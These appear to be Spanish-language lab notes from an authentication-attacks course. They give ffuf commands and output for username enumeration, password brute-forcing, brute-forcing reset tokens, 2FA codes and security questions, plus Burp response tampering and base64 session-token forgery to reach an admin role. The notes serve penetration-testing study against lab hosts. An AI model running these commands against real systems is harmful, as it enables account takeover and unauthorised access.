User enumeration
Para obtener una lista de usuarios válidos, un atacante suele necesitar una lista de nombres de usuario para realizar pruebas.
Los nombres de usuario suelen ser mucho menos complejos que las contraseñas. Rara vez contienen caracteres especiales si no son direcciones de correo electrónico. Una lista de usuarios comunes permite a un atacante limitar el alcance de un ataque de fuerza bruta o realizar ataques dirigidos (utilizando OSINT) contra empleados o usuarios de soporte. Además, una contraseña común podría propagarse fácilmente contra cuentas válidas, lo que a menudo resulta en una vulneración de la cuenta.
Otras formas de obtener nombres de usuario son rastrear una aplicación web o usar información pública, como los perfiles de empresas en redes sociales. Un buen punto de partida es la colección de listas de palabras SecLists .
$ ffuf -w /opt/useful/seclists/Usernames/xato-net-10-million-usernames.txt -u http://172.17.0.2/index.php -X POST -H "Content-Type: application/x-www-form-urlencoded" -d "username=FUZZ&password=invalid" -fr "Unknown user"Brute-Forcing Passwords
Ejemplos de como realizar brute force
$ wc -l /opt/useful/seclists/Passwords/Leaked-Databases/rockyou.txt 14344391 /opt/useful/seclists/Passwords/Leaked-Databases/rockyou.txt$ grep '[[:upper:]]' /opt/useful/seclists/Passwords/Leaked-Databases/rockyou.txt | grep '[[:lower:]]' | grep '[[:digit:]]' | grep -E '.{10}' > custom_wordlist.txt
b0ySie7e@htb[/htb]$ wc -l custom_wordlist.txt
151647 custom_wordlist.txt$ ffuf -w ./custom_wordlist.txt -u http://172.17.0.2/index.php -X POST -H "Content-Type: application/x-www-form-urlencoded" -d "username=admin&password=FUZZ" -fr "Invalid username"
<SNIP>
[Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 4764ms]
* FUZZ: Buttercup1Brute-Forcing Password Reset Tokens
$ seq -w 0 9999 > tokens.txt$ ffuf -w ./tokens.txt -u http://weak_reset.htb/reset_password.php?token=FUZZ -fr "The provided token is invalid"
<SNIP>
[Status: 200, Size: 2667, Words: 538, Lines: 90, Duration: 1ms]
* FUZZ: 6182Brute-Forcing 2FA Codes
$ seq -w 0 9999 > tokens.txt$ ffuf -w ./tokens.txt -u http://bf_2fa.htb/2fa.php -X POST -H "Content-Type: application/x-www-form-urlencoded" -b "PHPSESSID=rrc35048jvdk1s6fu8qjbv513l" -d "otp=FUZZ" -fr "Invalid 2FA Code"
<SNIP>
[Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 648ms]
* FUZZ: 6513
[Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 635ms]
* FUZZ: 6514
<SNIP>
[Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 1ms]
* FUZZ: 9999Brute-Force Protection
- Rate Limits
- CAPTCHAs
Password Attacks
Default Password
Guessable Password Reset Questions
- github.com/datasets/world-cities/blob/main/data/world-cities.csv
$ cat world-cities.csv | cut -d ',' -f1 > city_wordlist.txt
$ wc -l city_wordlist.txt
26468 city_wordlist.txt$ ffuf -w ./city_wordlist.txt -u http://pwreset.htb/security_question.php -X POST -H "Content-Type: application/x-www-form-urlencoded" -b "PHPSESSID=39b54j201u3rhu4tab1pvdb4pv" -d "security_response=FUZZ" -fr "Incorrect response."
<SNIP>
[Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 0ms]
* FUZZ: Houston$ cat world-cities.csv | grep Germany | cut -d ',' -f1 > german_cities.txt
$ wc -l german_cities.txt
1117 german_cities.txtAuthentication Bypass
- Se puede manipular las respuesta, por ejemplo:
- Podemos engañar fácilmente al navegador para que muestre la página de administración interceptando la respuesta y cambiando el código de estado de
302a200. Para ello, habilíteloIntercepten Burp. Después, navegue hasta el/admin.phppunto final en el navegador web. A continuación, haga clic derecho en la solicitud y seleccioneDo intercept > Response to this requestinterceptar la respuesta:
- Podemos engañar fácilmente al navegador para que muestre la página de administración interceptando la respuesta y cambiando el código de estado de
- De otro manera tambien podemos usar el
match and replacey al tener un302podemos forzar a que nos devuelve un200 OK
Attacking Session Tokens
Algunas veces podremos observar alguna secuencia como esta:
2c0c58b27c71a2ec5bf2b4b6e892b9f9
2c0c58b27c71a2ec5bf2b4546092b9f9
2c0c58b27c71a2ec5bf2b497f592b9f9
2c0c58b27c71a2ec5bf2b48bcf92b9f9
2c0c58b27c71a2ec5bf2b4735e92b9f9Como podemos ver, todos los tokens de sesión son muy similares. De hecho, de los 32 caracteres, 28 son iguales para las cinco sesiones capturadas. Los tokens de sesión consisten en la cadena estática 2c0c58b27c71a2ec5bf2b4seguida de cuatro caracteres aleatorios y la cadena estática 92b9f9. Esto reduce la aleatoriedad efectiva de los tokens de sesión. Dado que 28 de los 32 caracteres son estáticos, solo necesitamos enumerar cuatro caracteres para forzar todas las sesiones activas existentes, lo que nos permite secuestrarlas.
Otro ejemplo vulnerable sería un identificador de sesión creciente. Por ejemplo, considere la siguiente captura de tokens de sesión sucesivos:
141233
141234
141237
141238
141240Attacking Predictable Session Tokens
$ echo -n dXNlcj1odGItc3RkbnQ7cm9sZT11c2Vy | base64 -d
user=htb-stdnt;role=user$ echo -n 'user=htb-stdnt;role=admin' | base64
dXNlcj1odGItc3RkbnQ7cm9sZT1hZG1pbg==$ echo -n 'user=htb-stdnt;role=admin' | xxd -p
757365723d6874622d7374646e743b726f6c653d61646d696e